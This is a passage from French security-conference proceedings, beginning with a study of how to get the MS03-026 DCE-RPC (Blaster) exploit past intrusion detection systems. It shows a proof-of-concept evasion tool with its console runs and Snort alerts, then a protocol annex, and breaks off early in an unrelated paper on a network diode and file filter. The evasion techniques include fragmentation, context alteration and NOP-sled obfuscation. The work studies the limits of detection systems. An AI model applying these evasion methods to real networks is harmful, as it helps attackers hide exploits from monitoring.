onsisterait à faire analyser au système de déte
tion un paquet de données

RPC 
ontenant le �ag � last frag �, suivi d'une se
onde requête in
orre
te 
ontenant le �ag � �rst

frag �. De 
ette manière la signature se trouverait � 
oupée � dans deux requêtes distin
tes du

point de vue de l'analyseur.

La dernière méthode 
onsiste à insérer une requête RPC 
ontenant des �ags valides mais un

autre numéro de 
ontexte et/ou d'opération. Cette méthode permettra de véri�er que le système

de déte
tion e�e
tue un suivi de session RPC 
ohérent et e�
a
e.

Altération de 
ontextes Une te
hnique plus auda
ieuse 
onsiste à 
réer simultanément plusieurs


ontextes lors de la phase de liaison, puis de fragmenter les données RPC en passant d'un 
ontexte

à l'autre via des opérations d'altération. En absen
e de mé
anisme de suivi � avan
é � des 
ontextes

la signature sera � 
assée � lors de 
es opérations. Cette altération est une forme d'insertion.

Néanmoins, si le système s'avère toujours 
apable de déte
ter l'intrusion, il reste en
ore quelques

possibilités. Dans un premier temps il est envisageable d'utiliser des te
hniques d'insertion de niveau

3/4 pour inje
ter de fausses requêtes d'altération de 
ontexte, laissant 
roire à l'analyseur que nous

travaillons sur un autre 
ontexte et que les données 
orrespondantes n'ont pas à être asso
iées à


elles transmises pré
édemment.
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Ces te
hniques d'altération peuvent également être enri
hies de l'établissement � simultané �

de plusieurs 
ontextes à l'issue d'une phase de liaison � multiple �, permettant dès lors d'émettre

des requêtes sans altération mais sur plusieurs 
ontextes di�érents, voire sur 
ertains 
ontextes qui

ont été refusés.

Regroupement de 
ommandes A l'inverse de la fragmentation il est possible de 
onfondre les

mé
anismes de déte
tion en regroupant plusieurs 
ommandes RPC dans un unique paquet. Ainsi

ujn seul et même paquet peut 
ontenir une demande de liaison et une requête. Cette te
hnique

s'apparente légèrement au � pipelining � HTTP et se base sur les mêmes limitations des moteurs

de déte
tion, à savoir l'arrêt de l'analyse à l'issue du traitement de la première requête.

4.3 Obfus
ation du payload

Toutes les te
hniques de 
ontournement vu jusqu'i
i sont relativement génériques et devrait

fon
tionner pour toutes les attaques fondées sur RPC. Néanmoins, il reste toujours la te
hnique la

plus simple (et par 
onséquent probablement la plus e�
a
e) 
onsistant à � éviter � la signature

en modi�ant 
ertaines parties de l'exploit.

Représentation des données Dans 
es ordre d'idée un point important que nous avons évoqué

pré
édemment est l'utilisation de méthodes de représentation des données alternatives et toutefois

toujours 
ompréhensibles par le serveur.
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La prin
ipale 
ara
téristique de représentation à même de nous intéresser est l'ordre des o
tets.

En e�et, il est peu probable, bien pas que né
essairement ex
lu, que la signature d'un payload

intègre une 
haîne de 
ara
tère ou un nombre �ottant.

Le shell
ode Les te
hniques d'obfus
ation de shell
ode sont 
onnues et nombreuses. Les plus

simples 
onsistent à rempla
er les NOP ou NULL sleds par des suites d'opérations ayant peu de

probabilité d'avoir le moindre e�et sur le système 
ible. L'in
rémentation et la dé
rémentation de

1 de la valeur de registres peu utilisés est une des te
hniques les plus 
lassiques. Le problème dans

la déte
tion de telles parties du shell
ode est l'ensemble des 
ombinaisons d'opérations possibles.

Le ve
teur Le bu�er over�ow est provoqué par une requête vers une ressour
e NetBios dont le

nom ex
ède 32 
ara
tères. Bien que 
e nom puisse être quel
onque, de nombreux exploit, dont

Blaster, ont gardé l'original, à savoir \\FXNBFXFXNBFXFXFX. Il pourrait être intéressant de

modi�er 
e nom a�n de 
ontourner les signatures les plus basiques.

5 rp
-evade-po
.pl

La 
ompréhension de RPC que nous avons atteint à 
e stade, bien que relativement limitée,

semble déjà bien su�sante pour évoquer sérieusement quelques pistes d'évasion et tenter de les

mettre en ÷uvre dans le 
adre d'un � proof of 
on
ept � : rp
-evade-po
.pl

5.1 Ar
hite
ture et prin
ipales fon
tions

Te
hniques d'évasion Nous allons mettre en ÷uvre la majeure partie des te
hniques vues pré
é-

demment, à savoir :

� Niveau 3/4

� Fragmentation des datagrammes ave
 
hoix de la taille des données TCP dans 
haque

paquet et du délai d'attente entre 
haque paquet

� Spé
i�que RPC

� Fragmentation de 
ou
he 7 ave
 
hoix de la taille des données RPC dans 
haque paquet

� Etablissement de 
ontextes multiples

� Altération de 
ontextes

� Obfus
ation

� Modi�
ation du NOP Sled

� Utilisation d'un nom de ressour
e NetBios alternatif

� Modi�
ation du port pour la 
onnexion

Bien entendu 
es te
hniques seront appliquées à l'exploit utilisé en introdu
tion, vieux, obsolète et

déte
té tel quel par l'ensemble des systèmes d'analyse existants.

Mode de fon
tionnement Le programme utilise un shell qui permet de positionner les di�érentes

options disponibles :

[root�lo
alhost rp
-evade℄# ./rp
-evade-po
.pl

DCE RPC Evasion Testing POC
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=============================

> ?

show options : list a
tual options values

set <option> <value> : set new option values

(see help options)

exploit : laun
h exploit

quit : self-explanatory

Inspiration and some pie
e of 
ode : Metasploit

Base of shell
ode : .:[o
192.us℄:. Se
urity

> show options

REMOTEPORT : 666

TARGET : 127.0.0.1

DELAY : 1

FRAGSIZE : 1024

ALTUUIDVER : 0.0

MULTIBIND : 0

ALTSERVER : 0

ALTUUID : 4d9f4ab8-7d1
-11
f-861e-0020af6e7
57

PORT : 135

RPCFRAGSIZE : 0

ALTER : 0

OBFUSCATED : 0

>

Les options disponibles sont les suivantes.

� TARGET : adresse IP de la 
ible,

� PORT : port du servi
e DCE-RPC (défaut : 135),

� REMOTEPORT : port de 
onnexion du shell (défaut : 666),

� FRAGSIZE : taille des données TCP (defaut : 1024),

� DELAY : délai d'attente en se
onde entre l'émission de 
haque paquet (défaut : 1s),

� RPCFRAGSIZE : taille des fragments RPC (défaut : 0 = pas de fragmentation),

� MULTIBIND : demande de liaison de plusieurs 
ontextes simultanés (0 = non, 1 = oui �

défaut : 0),

� ALTER : utilisation de l'altération de 
ontexte (0 = non, 1 = oui � défaut : 0),

� ALTUUID : UUID de l'interfa
e alternative utilisée pour l'altération de 
ontextes,

� ALTUUIDVER : Version de l'interfa
e alternative,

� OBFUSCATED : Utilisation d'une modi�
ation triviale du NOP Sled,

� ALTSERVER : Utilisation d'un nom de serveur NetBios alternatif (0 = non, 1 = oui � défaut :

0).

Les valeurs par défaut permettent de re
réer l'exploit original. Le test de su

ès de l'exploit est

simplement réalisé en véri�ant que le port spé
i�é par l'option REMOTEPORT est ouvert.
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5.2 Constru
tion du payload

Problématique du payload Créer et lire des en-têtes RPC, y ajouter des données et envoyer

le tout ne sont pas des opérations parti
ulièrement 
omplexes aussi nous ne nous attarderons sur


ette partie de notre programme.

En revan
he la 
onstru
tion du payload s'avère plus 
omplexe. En e�et l'exploit re
onstruit

l'ensemble des données (in
luant en parti
ulier les en-têtes RPC) via un 
ertain nombre d'opérations

liées à l'obje
tif de portabilité de l'exploit. L'extra
tion des � stub data � nous permettra alors

d'isoler trois informations, né
essaires à la mise en ÷uvre de nos te
hniques d'évasions :

� Le NOP sled (trivial)

� Le nom de la ressour
e NetBios (fa
ile)

� Le port distant (moyen)

Ré
upération des � stub data � La 
lef du su

ès de notre opération réside don
 dans l'extra
-

tion des deux parties de la requête RPC responsable du bu�er over�ow : l'en-tête et les données.

Parmi les di�érentes possibilités qui s'o�rent à nous, nous retenons en
ore une fois la plus simple.

Nous allons par 
onséquent lan
er l'exploit, é
outer le tra�
 et extraire les informations qui

nous semblent pertinentes. Nous re
onnaissons maintenant les di�érentes étapes du lan
ement de

l'exploit :

1. établissement de la liaison (paquets 4 et 5) ;

2. appel de la pro
édure (paquets 6 et 7).

L'analyse du paquet 6 indique que les données RPC sont situées à partir de l'o
tet 0x5A du paquet.

Le paquet 7 ne 
ontenant pas d'en-tête RPC, nous en déduisons qu'il s'agit de la suite des données

RPC du paquet 6. La ré
upération du payload au format hexadé
imal s'e�e
tue à partir du dump

des paquets 
on
ernés.

Obfus
ation Isoler le NOP sled est trivial et ne né
essite au
une expli
ation. La méthode d'ob-

fus
ation retenue est également simple. Elle 
onsiste uniquement à rempla
er les opérations NOP

(0x90) par des séquen
es d'instru
tions in
 %edx (0x42) ; de
 %edx (0x4a). La te
hnique peut pa-

raître triviale, néanmoins elle permet d'évaluer les 
apa
ités de résistan
e aux te
hniques d'évasion

les plus simples.
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Modi�
ation du port et du nom de serveur Le nom de serveur est su�samment 
ara
téris-

tique pour être simplement retrouvé dans le dump du paquet réseau. En
ore une fois nous nous


ontenterons d'une manipulation simple et in
rémenterons de 1 
haque o
tet 
orrespondant à un


ara
tère.

En�n la modi�
ation du numéro de port né
essite de 
omprendre l'opération e�e
tuée. Son


odage dans le shell
ode est le résultat des opérations suivantes :


har lport[4℄ = "\x00\xFF\xFF\x8b"; /* drg */

lportl=htons(lportl);

mem
py(&lport[1℄, &lportl, 2);

*(long*)lport = *(long*)lport \^{} 0x9432BF80;

mem
py(&s
[471℄,&lport,4);

Ce qui se traduit simplement par :

0x00<numéro de port>0b XOR 0x80bf3294

Dans notre exploit original le port distant est le port 666 = 0x029a. Il ne nous reste don
 plus

qu'à trouver la séquen
e 0x80bda81f, qui fort heureusement est unique dans notre dump.

6 Mise à l'épreuve

6.1 Snort sur le grill

Comportement de référen
e Il est né
essaire d'établir une référen
e a�n d'évaluer les variations

de déte
tion en fon
tion des te
hniques d'évasion utilisées. Ainsi, l'attaque � brute � fournit les

résultats suivants.

[root�lo
alhost rp
-evade℄# ./rp
-evade-po
.pl

DCE RPC Evasion Testing POC

=============================

> set TARGET 10.0.0.105

> exploit
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# 0. Laun
hing exploit with following options

ALTUUID : 4d9f4ab8-7d1
-11
f-861e-0020af6e7
57

FRAGSIZE : 1024

TARGET : 10.0.0.105

MULTIBIND : 0

ALTSERVER : 0

REMOTEPORT : 666

PORT : 135

DELAY : 1

RPCFRAGSIZE : 0

OBFUSCATED : 0

ALTUUIDVER : 0.0

ALTER :

# 1. Establishing 
onne
tion to 10.0.0.105:135

# 2. Requesting Binding on Interfa
e ISystemA
tivator

# 3. Laun
hing Exploit

# 4. Testing Status : SUCCESS

=> Moving REMOTEPORT to 667

>

Et sa déte
tion par snort est 
onforme à 
elle e�e
tuée sur l'exploit original.

12/19-15:17:04.144885 [**℄ [1:2351:11℄ NETBIOS DCERPC

ISystemA
tivator path overflow attempt little endian uni
ode

[**℄ [Classifi
ation: Attempted Administrator Privilege Gain℄

[Priority: 1℄ {TCP} 192.168.202.112:1024

-> 10.0.0.105:135

12/19-15:17:05.143358 [**℄ [1:648:7℄ SHELLCODE x86 NOOP [**℄

[Classifi
ation: Exe
utable 
ode was dete
ted℄ [Priority: 1℄ {TCP}

192.168.202.112:1024 -> 10.0.0.105:135

É
happer à la déte
tion du NOP Sled Mettons en ÷uvre notre te
hnique primaire de masquage

des NOP Sled.

> set OBFUSCATED 1

> exploit

# 0. Laun
hing exploit with following options

ALTUUID : 4d9f4ab8-7d1
-11
f-861e-0020af6e7
57

FRAGSIZE : 1024

TARGET : 10.0.0.105

MULTIBIND : 0

ALTSERVER : 0

REMOTEPORT : 667

PORT : 135

DELAY : 1

RPCFRAGSIZE : 0
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OBFUSCATED : 1

ALTUUIDVER : 0.0

ALTER : 0

# 1. Establishing 
onne
tion to 10.0.0.105:135

# 2. Requesting Binding on Interfa
e ISystemA
tivator

# 3. Laun
hing Exploit

# 4. Testing Status : SUCCESS

=> Moving REMOTEPORT to 668

>

Snort ne s'avère pas 
apable de déte
ter notre nouvelle séquen
e d'opérations nulles, et la seule

alerte qui est remontée est par 
onséquent la suivante.

12/19-15:27:35.569251 [**℄ [1:2351:11℄ NETBIOS DCERPC

ISystemA
tivator path overflow attempt little endian uni
ode

[**℄ [Classifi
ation: Attempted Administrator Privilege Gain℄

[Priority: 1℄ {TCP} 192.168.202.112:1028

-> 10.0.0.105:135

Eviter la signature spé
i�que La signature qui permet en
ore la déte
tion de l'attaque à 
e

stade est la suivante :

alert t
p $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS

DCERPC ISystemA
tivator path overflow attempt little endian

uni
ode";

flow:to_server,established; 
ontent:"|05|"; depth:1;

byte_test:1,&,16,3,relative; 
ontent:"|5C 00 5C 00|";

byte_test:4,>,256,-8,little,relative;

flowbits:isset,d
e.isystema
tivator.bind; referen
e:bugtraq,8205;

referen
e:
ve,2003-0352; referen
e:nessus,11808;

referen
e:url,

www.mi
rosoft.
om/te
hnet/se
urity/bulletin/MS03-026.mspx;


lasstype:attempted-admin; sid:2351; rev:11;)

Les deux éléments pertinents de la signature sont :


ontent:"|05|"; depth:1; byte_test:1,&,16,3,relative;


ontent:"|5C 00 5C 00|";

byte_test:4,>,256,-8,little,relative;

La première partie est 
omposée de deux tests et est simplement réalisée pour s'assurer (plus ou

moins) que nous sommes bien en présen
e de tra�
 DCE-RPC. En e�et, 
omme nous l'avons vu

pré
édemment, l'en-tête RPC 
ommen
e par la version, à savoir l'o
tet 0x05, valeur e�e
tivement

testée au début des données (depth=1). Le se
ond test valide qu'un �ag est bien positionné (3 o
tets

après la version).

La se
onde partie véri�e qu'il s'agit bien de l'appelle d'une ressour
e netbios par la re
her
he du

pattern \\ (0x5C 0x00 0x5C 0x00), et que la taille de 
e 
hamp dépasse 256 o
tets. La taille d'un
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hamp en RPC est un entier de 4 o
tets situé avant le 
hamp lui-même (
e qui est relativement

logique). Il su�t don
 de 
omparer les 4 o
tets, situés avant le pattern, ave
 la valeur 256.

É
happer à la déte
tion peut se faire selon di�érentes méthodes. La première, qui n'a rien de

spé
i�que à RPC, 
onsiste à utiliser une 
ombinaison de fragmentation ave
 des paquets 
ontenant

7 o
tets de données TCP et de timeouts selon la méthode dé
rite dans [8℄. De 
ette manière nous


asserons la deuxième partie de la signature qui porte sur 8 o
tets.

Testons dans un premier temps de séparer les 
ontenus dé
len
hant les deux parties de la signa-

ture en e�e
tuant une simple fragmentation appli
ative, la requête étant distribuée sur plusieurs

paquets.

> set FRAGSIZE 512

> exploit

# 0. Laun
hing exploit with following options

ALTUUID : 4d9f4ab8-7d1
-11
f-861e-0020af6e7
57

FRAGSIZE : 512

TARGET : 10.0.0.105

MULTIBIND : 0

ALTSERVER : 0

REMOTEPORT : 670

PORT : 135

DELAY : 1

RPCFRAGSIZE : 0

OBFUSCATED : 1

ALTUUIDVER : 0.0

ALTER : 0

# 1. Establishing 
onne
tion to 10.0.0.105:135

# 2. Requesting Binding on Interfa
e ISystemA
tivator

# 3. Laun
hing Exploit

# 4. Testing Status : SUCCESS

=> Moving REMOTEPORT to 671

>

La surprise vient du fait que Snort ne déte
te plus l'attaque. Déjà ! Il semble don
 que par défaut

l'analyseur ne soit pas 
apable de 
omprendre DCE-RPC su�samment pour se rendre 
ompte que

la requête est transportée sur plusieurs paquets.

Tuning de Snort Une amélioration notoire peut être e�e
tuée pour permettre à Snort de réas-

sembler 
orre
tement le paquet. Il s'agit de positionner la dire
tive � both � pour le prépro
esseur

stream4_reassemble. Au lan
ement de l'exploit la signature � NETBIOS DCERPC ISystemA
ti-

vator path over�ow attempt little endian Uni
ode � est de nouveau déte
tée.

Bien que 
ette valeur ne soit pas positionnée par défaut nous 
onstatons une nette amélio-

ration du mé
anisme de déte
tion dans la mesure où Snort peut désormais gérer proprement la

fragmentation TCP appliquée à RPC.

Il semblerait néanmoins que l'IDS ne soit pas à même de traiter de manière appropriée les �ux

RPC s'appuyant sur un numéro de 
ontexte non-nul, 
e que nous prouvons de manière empirique
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en positionnant la variable MULTIBIND à 1 dans notre outil de test. Ce paramétrage fait e�e
tuer

les opérations suivantes au sein d'une seule requête :

� Requête d'un nombre aléatoire de liaisons sur un UUID alternatif ;

� Requête de liaison sur l'interfa
e ISystemA
tivator ;

� Requête d'un nombre aléatoire de liaisons sur un UUID alternatif.

Dans 
e s
héma le 
ontexte obtenu pour la liaison sur l'interfa
e ISystemA
tivator est non nul. Et

nous 
onstatons que l'exploit est de nouveau lan
é ave
 su

ès.

6.2 Autres moteurs et signatures

Snort n'est pas le seul système de déte
tion qui puisse être 
ontourné. Néanmoins, 
ompte tenu

de sa qualité, de sa popularité et de l'absen
e d'enjeux 
ommer
iaux, il s'avère être idéal pour la

démonstration.

Il serait 
ependant injuste de ne pas 
iter les di�érentes limitations et failles que l'on peut trouver

dans les autres produits.

Prin
ipales signatures De nombreux I(D|P)S 
ommer
iaux utilisent des signatures dérivées de


elles de Snort. La prin
ipale variation identi�ée est la signature spé
i�que au vers Blaster. Ce

dernier utilise 
omme nom de ressour
e NetBios : \\FXNBFXFXNBFXFXFX. La modi�
ation de


ette valeur, totalement arbitraire s'est avérée parfois su�sante pour 
ontourner les signatures les

plus simples. L'utilisation ex
lusive d'un nom de ressour
e spé
i�que et sans lien dire
t ave
 la

vulnérabilité n'est approprié que dans deux 
as :

� système destiné à lutter ex
lusivement 
ontre les prin
ipales mena
es (i
i un vers relativement

e�
a
e).

� Complément d'une signature plus générique permettant d'a�ner l'information.

Dans d'autres 
ontextes une telle signature représente une faiblesse notable du système.

Dans le même ordre d'idée au
un système n'a été 
apable de déte
ter l'obfus
ation du NOP

sled basée sur l'in
rémentation et la dé
rémentation du registre EDX. Ce 
omportement peut se


omprendre dans la mesure où il est impossible de signer l'ensemble des 
ombinaisons, l'appro
he

par signature est par 
onséquent inappropriée pour la déte
tion de 
e type d'opération.

Autres signatures Dans d'autres 
as des signatures plus paranoïaques (et par 
onséquent su-

jettes à de nombreux faux-positifs) on été analysées. Ainsi 
ertains I(D|P)S généreront une alerte

lorsqu'une requête de liaison est e�e
tuée sur une interfa
e invalide. Une telle signature a imposé

l'utilisation d'une interfa
e valide pour le traitement de l'option MULTIBIND de notre outil, qui

e�e
tuait à l'origine une demande de liaison sur une interfa
e aléatoire.

Parfaitement inexploitable dans la vraie vie, une signature renvoyait une alerte dès qu'une

demande de liaison était e�e
tuée sur l'interfa
e ISystemA
tivator. Ce type de signature est une

hérésie en termes de sé
urité dans la mesure où elle est a
tivée sur une opération totalement normale.

Si les 
onnexions sur l'interfa
e sont interdites, 
ette dernière doit être fermée. Le 
as é
héant il n'y

a pas de raison de prévenir en 
as de bonne utilisation d'une ressour
e. Y a-t-il un sens à générer

une alerte à 
haque 
ommande GET à destination d'un serveur web. Non, bien entendu. Le prin
ipe

est le même i
i.
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Compréhension de RPC La 
ompréhension et la re
onstru
tion d'une requête RPC fragmentée

à di�érents niveaux, intégrant des sauts de 
ontexte et du pipelining est une opération parti
uliè-

rement di�
ile dans la mesure où de nombreux fa
teurs sont à prendre en 
ompte.

Le premier est bien entendu la 
omplexité te
hnique né
essitant une interprétation du proto
ole

identique à 
elle de la 
ible, i
i les systèmes Mi
rosoft. La se
onde di�
ulté est liée aux performan
es.

Dans le 
as de systèmes en é
oute, et don
 des IDS, 
ette problématique peut apparaître 
omme

se
ondaire. Elle est 
ependant primordiale dans le 
as de systèmes en lignes tels que des IPS.

La dernière di�
ulté est la 
apa
ité à adopter un 
omportement identique à 
elui de la 
ible

dans la gestion des timeouts et de la saturation des tables de gestion des fragments. Lever 
ette

dernière barrière te
hnologique est bien souvent l'aspe
t le plus 
omplexe des opérations dans la

mesure où le proto
ole n'impose au
un 
omportement standard et que les éditeurs ne do
umentent

pas né
essairement 
e type d'information.

Il n'est don
 pas surprenant de 
onstater que les 
as extrêmes d'exploitation des fon
tionnalités

o�ertes par DCE-RPC ne sont pas traités de manière appropriée.

Appro
he 
omportementale Une dernière appro
he observée 
onsiste à déte
ter et/ou interdire

l'établissement de la 
onnexion donnant a

ès au shell à l'issue de l'exploit. Le prin
ipal avantage

d'une telle appro
he est qu'elle fournit un � �let � de sé
urité dans le 
as d'un exploit n'ayant pas

été déte
té.

Une telle déte
tion s'e�e
tue selon deux mé
anismes. Le premier est simple et se base, par

exemple, sur la déte
tion de la 
haîne de 
ara
tères Mi
rosoft Windows 2000 [Version 5.00.2195℄

transmise sur un port inhabituel. La modi�
ation du port de la 
onnexion de 666 (valeur 
odée en

dur dans l'exploit) à 22 s'est avérée e�
a
e dans 
es 
as. Le se
ond mé
anisme est en fait 
elui

utilisé pour déte
ter les tunnels. Il prend essentiellement en 
ompte la durée des sessions. E�
a
es

pour déte
ter un shell lan
é par-dessus les ports 80 ou 25 par exemple, 
es mé
anismes ne réagissent

pas, et 
ela est tout à fait normal, lorsqu'un shell est soupçonné au-dessus des ports 22 ou 23, par

exemple.

7 Con
lusion

La sé
urité a ses limites. Nous venons de le prouver en
ore une fois, à partir d'éléments simples.

La prin
ipale problématique n'est 
ependant pas là. Elle réside essentiellement d'abord dans la prise

de 
ons
ien
e de 
et état de fait et ensuite dans la 
ompréhension de 
es limites.

Rejeter d'un blo
 tout un pan fon
tionnel de la sé
urité que représentent les te
hnologies de

déte
tion et de prévention des intrusions, sous le seul prétexte qu'il est possible de les 
ontourner,

est une erreur grave. Au même titre que de leur faire une 
on�an
e aveugle.

Les outils de sé
urité doivent faire partie d'un plan global et leurs limites doivent être intégrées

à la gestion des risques. C'est à 
ette 
ondition que les systèmes d'information peuvent être protégés

de manière 
ohérente et �able.
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Annexe : Rappels sur RPC

Origine et prin
ipes du proto
ole

RPC est un dinosaure. Présenté pour la première fois à l'IETF en 1988 [3℄ et standardisé dans

sa version a
tuelle en 1995 [4℄ [5℄ [6℄, il a 
omme obje
tif de dé�nir un proto
ole de transport des


ommandes et des résultats lan
és sur des pro
édures distantes. Nommé ONC RPC (Open Network

Computing Remote Pro
edure Call) et également 
onnu sous le nom de SUN RPC en référen
e à

SUN Mi
rosystems, le proto
ole dé�ni trois éléments en parti
ulier :

� un modèle global de 
ommuni
ation ;

� les modes d'établissement des 
onnexions ;

� les types et formats des di�érents messages.

Comprendre le proto
ole a�n d'en exploiter les spé
i�
ités ne né
essite au
unement de devenir un

expert. Les quelques éléments importants à retenir sont les suivants.

Tout d'abord RPC n'a pour obje
tif que de fournir un 
adre pour les 
ommuni
ations entre

deux pro
édures, soit la transmission des arguments et des résultats. Le mode de traitement de 
es

données n'est absolument pas de la responsabilité de RPC. Tout au plus 
elui-
i met-il à disposition

des appli
ations quelques messages d'erreurs ainsi qu'un optionnel mé
anisme d'authenti�
ation.

DCE-RPC a été dé�ni en 1997 par l'opengroup [7℄ et rajoute, modi�e, pré
ise ou amende nombre

de fon
tionnalités. Le prin
ipal élément à retenir est que les deux familles de RPC sont totalement

in
ompatibles.

Stru
ture des paquets RPC

L'en-tête DCE-RPC Il est possible de dé�nir un en-tête générique à l'ensemble des 
ommuni
a-

tions DCE-RPC. Il 
ontient les 
hamps suivants :

� Version (1 o
tet) : Version majeure du proto
ole (=5)

� Version mineure (1 o
tet) : Version mineure du proto
le (=0)

� Type (1 o
tet) : Type de paquet, les prin
ipales valeurs sont

� 0x0b : bind request

� 0x0
 : bind a
kowledgement

� 0x0e : alter 
ontext request

� 0x0f : alter 
ontext aknowledgement
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� Flags (1 o
tet) : Informations diverses et variées. Nous ne sommes intéressés que par les deux

derniers bits représentant les valeurs � last frag � et � �rst frag �.

� Data Representation (2 o
tets) : Dé�nissent l'ordre des o
tets (big/little endian), le s
héma de

représentation des 
ara
tères (ASCII ou EBCDIC) et des nombres à virgule �ottante (VAX,

IEEE et
.).

� Frag length (2 o
tets) : Taille du fragment RPC.

� Auth length (2 o
tets) : Taille totale des données d'authenti�
ation.

� Call ID (4 o
tets) : Numéro d'appel. . . sûrement quelque 
hose d'important.

bind_request Pour l'établissement d'un lien ave
 une interfa
e, les informations suivantes sont

ajoutées.

� Taille maximale d'émission (2 o
tets) : expli
ite

� Taille maximale de ré
eption (2 o
tets) : idem

� Asso
 Group (4 o
tets) : en
ore un tru
 qu'on sait pas à quoi çà sert

� Nombre de 
ontextes requis (1 o
tet) : très important, 
'est 
e qui permet de demander

l'établissement de plusieurs liens en un seul paquet.

� Contextes : 
haque 
ontexte de 
onnexion 
ontient les données suivantes.

� Nombre d'informations transmises (1 o
tet)

� Nom de l'interfa
e � UUID (16 o
tets)

� Version de l'interfa
e (2 o
tets)

� Version mineure de l'interfa
e (2 o
tets)

� Syntaxe de transfert (16 o
tets)
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� Version de la syntaxe de transfert (4 o
tets)

bind_a
k Il s'agit i
i de la réponse à une demande de liaison (bind_request). Les trois premiers


hamps de la réponse (� Max Xmit Frag �, � Max Re
v Frag � et � Asso
 Group �) ont la même

signi�
ation et longueur que dans les requêtes. Ils sont suivis des 
hamps suivants.

� Se
ondary Address Length (2 o
tets) : taille de l'adresse se
ondaire ;

� Se
ondary Address (variable) : adresse se
ondaire, dont la valeur dépend du proto
ole de

transport utilisé. Il s'agit du � sele
tor � et il a i
i la valeur 135, 
e qui signi�e que le port

pour a

éder au servi
e est le port 135.

� Nombre de résultats (1 o
tet) : idem bind_request

� Contextes : pour 
haque 
ontexte demandé une réponse est générée, 
ontenant les 
hamps

suivants.

� Résultat (2 o
tets) : Code de retour utilisé pour identi�er, si possible, la 
ause d'un éventuel

é
he
. La valeur est 0 en 
as de su

ès.

� Syntaxe de transfert (16 o
tets)

� Version de la syntaxe de transfert (4 o
tets)

pro
edure_request Une fois le lien établi ave
 une pro
édure le 
lient émet une requête 
ontenant

un numéro de fon
tion. Les données spé
i�ques à 
ette requête sont les suivantes.

� Allo
 Hint (4 o
tets) : taille des données
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� Context ID (2 o
tets) : 
ontexte auquel est lié la requête

� Numéro d'opération � opnum (2 o
tets) : numéro de la fon
tion appelée

� Données (variable) : arguments passés à la fon
tion appelée, il est généralement fait référen
e

à 
e 
hamp 
omme � stub data �.

alter_
ontext & alter_
ontext_resp Ces deux paquets ont les mêmes 
hamps que, respe
-

tivement, bind_request et bind_a
k. Les seules di�éren
es sont les types de paquet dans l'en-tête

RPC dont les valeurs sont 14 pour alter_
ontext et 15 pour alter_
ontext_resp en 
as de su

ès.
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Résumé La Diode réseau et ExeFilter sont deux projets 
omplémentaires du CELAR pour


onstruire des inter
onnexions hautement sé
urisées entre réseaux de niveaux de sensibilité

di�érents. Ils visent à permettre par exemple l'inter
onnexion de réseaux sensibles ave
 In-

ternet, en garantissant une prise de risque minimale vis-à-vis des 
hevaux de Troie et autres

mena
es.

La Diode réseau est 
onçue pour garantir un transfert de données dans un seul sens, en

se basant sur une liaison optique unidire
tionnelle. Une appli
ation simple est par exemple

le télé
hargement automatique de mises à jour antivirus vers un réseau sensible, tout en

empê
hant la moindre fuite de données vers Internet.

ExeFilter est un �ltre générique de �
hiers ou de 
ourriels, qui permet de s'assurer que seuls


ertains formats de �
hiers maîtrisés sont a

eptés, et que 
eux-
i ne 
ontiennent au
un


ontenu a
tif. (en se basant sur les prin
ipes énon
és lors de [SSTIC03℄ et [SSTIC04℄)

1 Introdu
tion

Les produits de sé
urité a
tuellement disponibles sur le mar
hé (pare-feux, proxies appli
atifs,

antivirus, IDS, IPS, ...) se révèlent indispensables mais souvent insu�sants pour assurer un haut

niveau de 
on�an
e lorsqu'il s'agit d'inter
onne
ter un réseau sensible et un réseau non maîtrisé


omme Internet. En e�et, il est très di�
ile de se protéger 
ontre des 
hevaux de Troie spé
i�quement

développés et 
orre
tement 
amou�és dans des �ux appli
atifs. De plus, la plupart des proto
oles

standards o�rent de nombreux 
anaux 
a
hés permettant à des 
hevaux de Troie ou des utilisateurs

malveillants d'exporter des données sensibles vers l'extérieur.

Pour répondre aux besoins d'inter
onnexion de réseaux sensibles ave
 des réseaux non maîtrisés,

le CELAR a 
onçu et développé 2 solutions te
hniques 
omplémentaires pour améliorer le niveau

de 
on�an
e des passerelles de �ltrage :

� la Diode réseau pour bâtir des inter
onnexions unidire
tionnelles a�n de transférer des

données d'un réseau de � niveau bas � vers un réseau de � niveau haut �, sans risque de fuite

dans l'autre sens à travers un 
anal 
a
hé.

� ExeFilter pour �ltrer les �
hiers et 
ourriels suivant une politique stri
te, a�n de se prémunir


ontre l'entrée de 
ontenu a
tif pouvant 
amou�er un 
heval de Troie ou tout 
ode malveillant

(y 
ompris tous les virus).

Cet arti
le présente 
es deux projets qui ont été développés en langage Python, et qui sont a
tuel-

lement à l'état de prototypes utilisés en semi-produ
tion depuis mi-2005.
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2 Diode réseau optique

Une diode réseau est un système qui permet d'inter
onne
ter 2 réseaux, en autorisant le transfert

de données dans un seul sens. Ce type de système est généralement employé pour relier un réseau

né
essitant un niveau de sé
urité élevé, appelé � réseau haut � à un réseau de 
on�an
e moindre

(par exemple Internet), le � réseau bas �. Seul la remontée d'informations du réseau bas vers le

haut est autorisée, a�n de garantir la 
on�dentialité du réseau haut.

Cet arti
le présente le projet Diode réseau du CELAR, qui a pour but de montrer qu'il est

possible de mettre en pla
e une liaison diode à laide de matériel standard ave
 un 
oût d'a
quisition

faible, tout en apportant un niveau de 
on�an
e élevé.

2.1 Historique du projet

Bien sûr, l'idée d'une � diode réseau � n'est pas neuve. Il est fa
ile de trouver sur Internet

des publi
ations de travaux de re
her
he dans 
e domaine qui remontent aux années 90 voire 80

(
f. [DSTO1,DSTO2,NPUMP℄), s'appuyant sur des te
hnologies optiques ou sur des liaisons série

RS-232. Certaines so
iétés proposent même des produits � diode � 
omplets sur étagère, 
omme

[TENIX℄.

On peut 
ependant remarquer que la plupart des re
her
hes et des appli
ations sont pour l'ins-

tant étroitement liées à des besoins militaires. Cela peut s'expliquer par le fait que les réglemen-

tations militaires divisent souvent les réseaux en di�érents niveaux de sensibilité, et imposent un


loisonnement très stri
t entre 
es niveaux.

D'autre part à notre 
onnaissan
e 
e type de produit n'est toujours pas disponible en Fran
e,


e qui a fortement motivé le lan
ement de notre projet, ainsi que 
ette parti
ipation au symposium

SSTIC.

Les travaux 
on
rets du CELAR sur la Diode réseau optique ont débuté �n 2001. Un premier

prototype a été développé en langage C en 2002, utilisé en plate-forme et amélioré jusqu'en 2005.

Cette première version o�rait des servi
es de transfert de �
hiers, de syn
hronisation de répertoires,

et de transfert de messagerie Sendmail. Le projet présenté dans 
ette arti
le est un se
ond prototype

réé
rit en langage Python depuis 2005, a�n de simpli�er le 
ode sour
e et d'apporter de nouvelles

améliorations.
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2.2 Vue d'ensemble

La version a
